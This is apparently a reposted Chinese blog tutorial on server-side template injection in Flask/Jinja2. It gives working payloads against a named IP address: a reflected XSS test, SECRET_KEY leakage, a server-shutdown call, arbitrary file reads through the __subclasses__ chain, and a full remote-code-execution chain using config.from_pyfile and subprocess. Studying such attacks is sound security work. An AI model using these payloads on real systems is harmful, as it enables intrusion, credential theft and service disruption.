flask 基础ssti注入

源代码地址 (请用python2.7运行,python3有点出入)

注入点:

不是返回的静态模板而是反回模板字符串变得让客户端可以控制。

XSS

这里直接

http://39.105.116.195:9000/<script>alert(1)</script>就会有反射性XSS  

flask对模板文件和模板文件中内容进行转义,可如果直接返回模板字符串或者直接返回字符串的话是不会转义的:

只有xss1不会弹框,因为传到了静态文件里面,flask会自动进行转义。

注入测试

http://39.105.116.195:9000/{{1+1}} 发现回传的是"/2"存在注入点。

存在注入。

config

flask的一个内置全局变量,保存着一些很隐私的信息。

比如SECRET_KEY,就可以session伪造用户。还有数据库连接的信息,就知道了数据库的密码。

这个是个字典,也可以这样调用某个值

http://39.105.116.195:9000/{{config['SECRET_KEY']}}

request

类似于config,保存着一些信息。request.environ是一个字典,其中包含和服务器环境相关的对象

http://39.105.116.195:9000/{{request.environ['werkzeug.server.shutdown']()}}这个会让服务器停止运行python,但是在gunicorn环境下中不会。  

config的from_object方法

{{ config.from_object('os') }}通过这个方法,config属性里面多了os(这是举个例子,其他的库自己也可以试试)库里面名字全是大写的属性和变量,而且是可以直接调用。

几个重要的属性


运行结果

任意文件读取

""根据__class__是个str类型,根据__mro__(或者__base__)找到object,再由__subclasses__找到object的所有子类,然后调用其中的file属性实现任意文件读取。  

远程代码执行利用from_pyfile

将一个文件的路径传进去然后编译,这样我们结合file的写功能就可以在指定的位置写文件,然后用from_pyfile编译。

写入指令print(1+1)

pyfile来编译执行,返回TRUE执行成功。

{{ config.from_pyfile('/tmp/owned.cfg') }} 

还有一种是不用每次写文件,写一次,然后每次只传入命令就好。

http://39.105.116.195:9000/{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output

RUNCMD = check_output') }}   

参考文章的时候,他是 ,可能是mac本,不管了,服务器一般用linux, 写入回车就好了。还有一个需要注意的是,如果你是直接在浏览器上输入反斜杠的话会给你编码为/,所以会编译失败(因为没有回车),url编码一下就好了%5cn%5cr

http://39.105.116.195:9000/{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output%5cn%5crRUNCMD = check_output') }},另外的话如果用burp抓包发送是不需要考虑编码的。

编译

{{ config.from_pyfile('/tmp/owned.cfg') }}  

命令执行:

http://39.105.116.195:9000/{{ config['RUNCMD']('ls /',shell=True)}}  

原文地址:https://www.cnblogs.com/zaqzzz/p/10248299.html